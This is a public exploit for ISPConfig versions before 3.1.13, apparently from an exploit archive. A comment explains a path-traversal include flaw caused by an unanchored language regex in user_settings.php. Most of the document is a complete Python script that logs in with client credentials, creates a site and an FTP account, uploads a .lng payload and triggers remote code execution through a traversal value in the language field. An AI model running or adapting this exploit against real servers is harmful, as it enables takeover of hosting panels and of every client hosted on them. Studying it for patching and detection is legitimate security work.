# Title: ISPConfig < 3.1.13 - Remote Command Execution # Author: 0x09AL # Date: 20/08/2018 # Vendor: https://www.ispconfig.org/ # # Vulnerability Description # # There is an include on almost all the php files, which includes the language template. # For example: # In password_reset.php - Line 46 the following code tries to include the filename # that is specified in the $_SESSION['s']['language'] variable. # # include ISPC_ROOT_PATH.'/web/login/lib/lang/'.$_SESSION['s']['language'].'.lng'; # # Searching a little bit where the $_SESSION['s']['language'] variable is set we can find a reference in user_settings.php # if(preg_match('/[a-z]{2}/',$_POST['language'])) { # $_SESSION['s']['user']['language'] = $_POST['language']; # $_SESSION['s']['language'] = $_POST['language']; # } else { # $app->error('Invalid language.'); # } # # The regex checks if the language contains two lower-case characters. # The problem is that everything that contains two [a-z] characters will match the regex. # Developer probably missed the ^ $ on the regex to match the entire file. # # Since in the new versions of php we can not use null byte injections, either a path-truncation attack # we can create a ftp-account, upload the file we want to include with .lng extension at our path and the code # will get executed as the ispconfig account and not as our chroot-ed account. # # This exploit can be triggered by having clients credentias , and exploiting this vulnerability we can compromise # the entire clients. # # You need to specify the hostname:port , username, and password of the client. import requests import ftplib import json import time from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) host = "host:8080" username = "username" password = "password" exp = requests.session() user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0' ftp_username = "randomusr1" domain = "pwned.com" site_id = 1 payload_name = "pwned1" path = "" def login(): r = exp.post('https://%s/login/index.php' % host,data={'username':username,'password':password,'s_mod':'login','s_pg':'index'},verify=False) if(r.text.find("wrong")>0): print "[-] Incorrect credentials [-]" else: print "[+] Logged in Succesfully [+]" def createSite(): r = exp.get('https://%s/sites/web_vhost_domain_edit.php' % host,verify=False) _csrf_key = r.text.split('name="_csrf_key" value="')[1].split('"')[0] _csrf_id = r.text.split('name="_csrf_id" value="')[1].split('"')[0] phpsessid = r.text.split('name="phpsessid" value="')[1].split('"')[0] r = exp.post('https://%s/sites/web_vhost_domain_edit.php' % host,data={'server_id':1,'ip_address':'*','ipv6_address':'','domain':'%s' % domain,'hd_quota':1024,'traffic_quota':1024,'subdomain':'www','php':'no','fastcgi_php_version':'','active':'y','id':'','_csrf_id':'%s' % _csrf_id,'_csrf_key':'%s' % _csrf_key,'next_tab':'','phpsessid':'%s' % phpsessid},verify=False) pass def createFtp(): global site_id r = exp.get('https://%s/sites/ftp_user_edit.php' % host,verify=False) print "[+] Getting IDSof the sites [+]" temp_array = r.text.split('<option value=') nr_sites = len(temp_array) print "[+] Number of sites %d [+]" % (int(nr_sites) - 1) # Find the latest created site by checking the ID. max_id = -9999 for i in range(1,nr_sites): temp = int(temp_array[i].split('>')[0].replace("'","")) if(temp > max_id): max_id = temp site_id = max_id print "[+] Newly created site id is : %d [+]" % site_id _csrf_key = r.text.split('name="_csrf_key" value="')[1].split('"')[0] _csrf_id = r.text.split('name="_csrf_id" value="')[1].split('"')[0] phpsessid = r.text.split('name="phpsessid" value="')[1].split('"')[0] r = exp.post('https://%s/sites/ftp_user_edit.php' % host,data={'parent_domain_id':site_id,'username':'%s' % ftp_username,'password':'%s' % password,'repeat_password':'%s' % password,'quota_size':1024,'active':'y','id':'','_csrf_id':'%s' % _csrf_id,'_csrf_key':'%s' % _csrf_key,'next_tab':'','phpsessid':'%s' % phpsessid},verify=False) print "[+] Created FTP Account [+]" pass def uploadPayload(): ftp = ftplib.FTP(host.split(":")[0]) ftp.login(username+ftp_username, password) ftp.cwd("web") ftp.storlines("STOR %s.lng" % payload_name,open("test.txt")) print "[+] Payload %s uploaded Succesfully [+]" % payload_name pass def waitTillCreation(): while 1: print "[+] Trying [+]" r = exp.get('https://%s/datalogstatus.php' % host,verify=False) temp = json.loads(r.text) if(temp["count"] == 0): print "[+] Everything created .... [+]" return time.sleep(5) def getRelativePath(): global path r = exp.get('https://%s/sites/web_vhost_domain_edit.php?id=%d&type=domain' % (host,site_id),verify=False) path = r.text.split('Document Root</label>')[1].split('<div class="col-sm-9">')[1].split('<')[0] path += "/web/" + payload_name print "[+] Uploading payload in %s [+]" % path def triggerVuln(): r = exp.get('https://%s/tools/user_settings.php' % host,verify=False) _csrf_key = r.text.split('name="_csrf_key" value="')[1].split('"')[0] _csrf_id = r.text.split('name="_csrf_id" value="')[1].split('"')[0] phpsessid = r.text.split('name="phpsessid" value="')[1].split('"')[0] user_id = r.text.split('name="id" value="')[1].split('"')[0] r = exp.post('https://%s/tools/user_settings.php' % host,data={'passwort':'','repeat_password':'','language':'../../../../../../../../../../../../../..%s' % path,'id':'%s' % user_id,'_csrf_id':'%s' % _csrf_id,'_csrf_key':'%s' % _csrf_key,'next_tab':'','phpsessid':'%s' % phpsessid},verify=False) r = exp.get('https://%s/index.php'% host,verify=False) print r.text login() createSite() createFtp() getRelativePath() waitTillCreation() uploadPayload() triggerVuln()